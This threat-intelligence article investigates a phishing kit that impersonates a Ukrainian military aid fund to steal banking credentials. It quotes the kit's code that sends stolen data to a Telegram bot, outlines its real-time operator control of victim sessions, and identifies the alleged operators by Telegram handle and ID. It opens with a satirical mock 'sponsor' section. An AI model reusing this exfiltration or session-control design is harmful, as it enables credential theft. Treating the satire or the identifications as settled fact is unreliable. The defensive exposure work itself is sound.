Military Aid Phishing Network Exposed: 5 Banks Targeted, Operators Identified

Sponsor Disclosure ( click to expand )

Introducing the official sponsor of this investigation

🏆 NICENIC International Group Co., Limited 🏆

The most authoritative registrar that cooperates with Netcraft (by deceiving their system) · Official domain supplier for the Kraken drug marketplace · Bulk discount provider · Devoted follower of the "Типичный Мошенник" VK community — but still hasn't bought an anonymity course

⭐ 1.8

Trustpilot
Rating

$200

.ru price
120₽ real

0

Abuse reports
actioned

15,000%

Domain
markup

• Despite claiming to be "Chinese" (Hong Kong), the creator is from Gorlovka, Donetsk People's Republic. The Chinese branding is purely decorative — like their Terms of Service
• Maintains Russian-language support via VKontakte and Telegram, sells .ru for $200 when reg.ru charges 120₽ (~$1.30)
• Negative Trustpilot reviews mentioning drug marketplace domains mysteriously vanish. Coincidence? Absolutely not
• An active subscriber of "Типичный Мошенник" (Typical Fraudster) VK community — when your registrar follows scam groups, you know their target audience
• Cooperates with Netcraft just enough to avoid delisting, while maintaining infrastructure for phishing, gambling, and narcotics domains

Meanwhile, on "Типичный Мошенник":

Original (Russian)

Translated (English)

A promise to our sponsor: When this post from "Типичный Мошенник" becomes reality — and based on what we know, it's a matter of when, not if — our entire team will register on VKontakte and subscribe to the community. Consider it our standing ovation. 👏

* This is satire. NiceNIC did not sponsor this investigation. They did, however, make it necessary by refusing to act on our abuse reports for 5+ days. Everything stated above is based on publicly available information and our operational experience. Read our full NiceNIC exposé →

What PhishDestroy Found

On March 20, 2026, PhishDestroy's automated threat detection pipeline flagged dopomogvoina[.]sbs — a freshly registered domain hosting a phishing site impersonating "Щит Захисника" (Shield of the Defender), a fabricated Ukrainian military aid foundation. The site targets Ukrainian military veterans, combat wounded, and the families of fallen soldiers, promising government financial aid while stealing banking credentials for five of Ukraine's largest banks.

What follows is a complete breakdown of everything our automated analysis uncovered: the social engineering, the technical infrastructure, the real-time operator control system, and the identities of the people running it.

Section 1: The Bait — Fake Military Aid Foundation

The domain dopomogvoina[.]sbs was registered on March 20, 2026 through NICENIC International Group Co., Limited, a registrar with a well-documented history of slow or nonexistent abuse response. The .sbs TLD (Side-By-Side) is a low-cost gTLD frequently exploited for disposable phishing infrastructure.

The site presents itself as a professional government-adjacent aid portal. A Ukrainian flag fills the header, military imagery lends authenticity, and the page is carefully written in Ukrainian with bureaucratic phrasing that mirrors legitimate government programs.

Screenshot 5 — The phishing site's landing page impersonating "Щит Захисника" (Shield of the Defender).

To build credibility, the operators fabricated a statistics counter prominently displayed on the landing page:

• 2,847 applications — implying thousands have already received aid
• ₴47.2M distributed — a large but believable figure in UAH
• 19 programs — suggesting a comprehensive, multi-program operation

These numbers are entirely fabricated, hard-coded into the page source with no backend connection. They serve a single purpose: social proof to override a victim's hesitation.

Section 2: The Trap — 5 Banks, One Goal

After clicking "Подати заявку" (Submit Application), the victim is presented with a bank selection screen. Five of Ukraine's largest retail banks appear as options, each with its official branding and logo. This is where the social engineering shifts from emotional manipulation to technical theft.

Screenshot 6 — Bank selection screen. Each option leads to a custom credential theft sequence.

Analysis of the site's JavaScript bundle revealed that each bank has a unique multi-step credential harvesting sequence, tailored to match that bank's actual authentication flow:

The attack flow for every bank follows the same pattern:

Screenshot 7 — Cloned PrivatBank login.

Screenshot 9 — Cloned PUMB login.

Screenshot 10 — Complete attack flow: from fake military aid page through bank selection to credential theft and account takeover.

The tech stack: React SPA front end delivered via Cloudflare CDN, with an Express.js backend handling credential exfiltration. The React architecture allows seamless multi-step forms that feel indistinguishable from legitimate banking interfaces.

Section 3: Real-Time Operator Control

This is not a simple credential harvester with a static database. The phishing kit includes a live WebSocket control panel that lets a human operator manipulate each victim session in real time.

The WebSocket endpoint at wss://dopomogvoina[.]sbs/ws supports the following message types:

register          — New victim session created
update_user_data  — Stolen credentials transmitted to operator
next_step         — Operator advances victim to next theft stage
create_application — Victim starts "aid application"
answer_question   — Operator sends custom prompt to victim

This real-time control means the operator can:

• Force a waiting state — display "Processing your application..." while they log into the victim's real bank account
• Redirect to a specific step — re-request an SMS code if the first one expired
• Show fake error messages — "Invalid code, please re-enter" to harvest multiple 2FA tokens
• Ask custom questions — request date of birth, card number, or any additional data mid-session

Screenshot 8 — Phone number entry form used to initiate credential theft.

Screenshot 11 — Operator's real-time bot panel for controlling victim sessions.

The full range of data stolen per session: phone, password, PIN, SMS code, card number, date of birth, and email.

Section 4: Behind Cloudflare — Two Projects, One Server

Cloudflare proxying conceals the origin server, but PhishDestroy's infrastructure analysis pipeline resolved the true origin IP: 45.131.214[.]148, hosted at RapidSeedbox / LeaseWeb in the Netherlands.

A critical detail: dopomogvoina[.]sbs is proxied through Cloudflare, hiding its origin IP. But our system also tracks hlpforvpeople[.]sbs — a related domain registered through the same NICENIC registrar with matching patterns. That domain is NOT behind Cloudflare, exposing its origin IP directly: 45.131.214[.]148.

Connecting to this IP directly — without a Host header — revealed something unexpected: a completely different phishing site. Instead of Ukrainian military aid, the default vhost served "HealthCare ID", an Indonesian health insurance phishing operation. Same server, completely different victims, completely different country.

Screenshot 12 — Two parallel phishing operations sharing the same origin server: Ukrainian military aid (dopomogvoina) and Indonesian health insurance (HealthCare ID).

The Indonesian phishing template is a known kit tracked in PhishDestroy's threat intelligence database. We've seen variants of this exact template deployed across Southeast Asia — targeting Indonesian, Thai, and Vietnamese financial institutions. The operators simply swap country-specific templates while reusing the same backend infrastructure.

Section 5: The config.json That Exposed Everything

Here's how a single misconfigured file unraveled the entire operation — step by step.

After identifying the origin server's second project, PhishDestroy's JS Analyzer — our automated JavaScript intelligence tool — was pointed at the Indonesian phishing site's bundle at https://45.131.214[.]148/assets/index-ZMQxHb_h.js. The analyzer extracted all API endpoints, external URLs, and configuration paths from the 335KB JavaScript file. Among the findings:

• Five API endpoints at rezervtemka[.]cc — the C2 panel for credential verification
• A WebSocket connection to wss://rezervtemka[.]cc
• Facebook Pixel integration for victim tracking
• A reference to /config.json — loaded at runtime for Telegram bot configuration

Following this lead, we fetched /config.json from the origin IP. The file was accessible without any authentication — sitting in the webroot, readable by anyone:

async function loadConfig() {
  const response = await fetch('/config.json');
  // ...
}
async function sendNotification() {
  const cfg = await loadConfig();
  await fetch(`https://api.telegram.org/bot${cfg.bot_token}/sendMessage`, {
    method: 'POST',
    body: JSON.stringify({ chat_id: cfg.chat_id, text: message })
  });
}

The /config.json file was accessible directly from the origin IP — no authentication, no access control, just a plain JSON file sitting in the webroot:

{
  "bot_token": "8724623843:AAFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "chat_id": "-100XXXXXXXXXX"
}

A Telegram bot token is both username and password. Whoever has the token can make API calls as that bot. The operators left theirs in a publicly accessible file. Six API calls later, we had everything:

Screenshot 13 — The complete OSINT chain: from exposed config.json to full operator identification in 6 API calls.

From a single misconfigured file to full operator identification in six HTTP requests. No exploits, no unauthorized access — just standard Telegram Bot API calls using a token the operators themselves left exposed.

Section 6: The Operators

Screenshot 14 — The "Idr card" Telegram operator group, exposed through the leaked bot token.

Owner / Creator

MONETTI ESCOBAR

@monettiescobar

Telegram ID: 8135223234

Telegram Premium, Business profile

Timezone: UTC+3 (CIS region)

10 public messages — strict OPSEC

TraFFeeQ Chat Medusa Google Ads Deepfakes channel

Operator / Traffic

Bonya

@BoaCC159

Telegram ID: 6242202706

AKA: PapaZakonVor, Boa, bubullikk

261 messages across 12 groups

DC2 — Amsterdam, NL

CryptoGrab STYX Market Raven CC EMPIRE CHAT Phoenix Solution

Developer / Coder

Devoys

@devosus

Telegram ID: 8213612730

Phishing kit developer — operators address him as coder

Asked to "think about defense" when breach discovered

Minimal public footprint by design

Handle @devosus ≈ "dev ops us" — job title as username

Kit developer Infrastructure Security

MONETTI ESCOBAR — The Boss

MONETTI maintains strict operational security — only 10 public messages across 2 groups. But the groups tell the story: TraFFeeQ Chat (traffic arbitrage for fraud), Medusa Google Ads (black-hat Google Ads), and a Deepfakes channel. His Telegram business profile lists "Есть предложение" ("Have a proposition") — openly advertising services. The UTC+3 timezone (matching Moscow/Minsk/Kyiv) and 24/7 business hours confirm a CIS-based operation running around the clock.

Bonya — The Careless One

Unlike MONETTI's careful OPSEC, Bonya (former alias: PapaZakonVor — roughly "DaddyThiefByLaw") left a massive digital trail — 261 messages across 12 underground groups. His chat history reads like a criminal CV:

His group memberships paint a complete picture: CryptoGrab (crypto wallet drainers), STYX Market (underground marketplace for stolen data), Raven CC checker (credit card validation tools), EMPIRE CHAT and Phoenix Solution (fraud coordination). This is not a one-time offender — this is someone embedded in the cybercrime ecosystem.

Devoys — The Developer

The technical backbone of the operation. Minimal public footprint by design — when the group was breached, Bonya explicitly called on him: "@devosus подумай над защитой пока нам жопу не порвали" — "@devosus think about defense before we get our asses busted." His sarcastic response to the breach — "когда в интерпол" ("when to interpol") — suggests this isn't their first close call.

Behavioral Analysis: 261 Messages Decoded

PhishDestroy's OSINT pipeline collected and translated all 261 public messages from Bonya across 12 underground Telegram groups (June 2024 — March 2026). Machine translation via DeepL API with manual context correction. The messages reveal a complete operational profile — categorized below by criminal activity type.

Banking Fraud & Phishing

Money Mules & Cash-Out

Traffic Fraud & Ad Abuse

MONETTI ESCOBAR: The Silent Boss

In stark contrast to Bonya's 261 messages, MONETTI has only 10 public messages — all in a single thread on TraFFeeQ Chat (Black ADS/SEO traffic arbitrage), defending a colleague:

MONETTI's Telegram groups tell the rest: Medusa Google Ads (black-hat PPC fraud), a Deepfakes channel (synthetic media for fraud), and MARLBORO CHAT (private, unknown). The Telegram Premium subscription, 24/7 business hours, and "Есть предложение" ("Have a proposition") business bio paint the picture of someone who treats cybercrime as a full-time enterprise.

Screenshot 2 — MONETTI's Telegram profile.

Screenshot 3 — Bonya's profile. Note DC2 (Amsterdam).

Section 7: The Panic Room

After PhishDestroy accessed the operator group through the exposed Telegram bot, the following exchange occurred. The chat log below has been translated to English with original Russian preserved in italics. The identity used for access has been redacted.

The group was deleted within minutes. Bonya's parting acknowledgment — "+" — and Devoys confirming "yeah" tell the whole story: they knew they were exposed, and their only move was to destroy the evidence. But by then, the data had already been captured.

Note Bonya's revealing comment: "We also got hit on the Ukrainian bot" — confirming both projects (Ukrainian + Indonesian) share the same operator team, and this wasn't the first time their infrastructure was compromised.

Section 8: What This Demonstrates

Investigation Timeline

Related Domains

Our analysis identified a second domain — hlpforvpeople[.]sbs — registered through the same registrar with matching infrastructure patterns. Both domains are documented in our database:

• PhishDestroy Report: dopomogvoina[.]sbs
• PhishDestroy Report: hlpforvpeople[.]sbs

Key Takeaways

• Automation is the only way to keep pace. Phishing kits are deployed and weaponized within hours. Manual review cannot scale to match.
• Operators make mistakes. An exposed config file on a secondary project unraveled an entire multi-national phishing operation. Perfect OPSEC is hard to maintain across every project.
• Social engineering evolves with the news cycle. War, humanitarian aid, and government programs are increasingly exploited for phishing lures because they target people in distress who are less likely to question legitimacy.
• Infrastructure reuse is the norm. One server, two phishing projects, two countries, same operators. Mapping infrastructure connections reveals far more than analyzing a single domain in isolation.

Disclaimer: This investigation was conducted entirely through passive reconnaissance and public APIs. No unauthorized access to any system was performed. Telegram Bot API calls used a token that was publicly exposed by the operators in an unauthenticated endpoint. All domain names in this article have been defanged per standard InfoSec convention.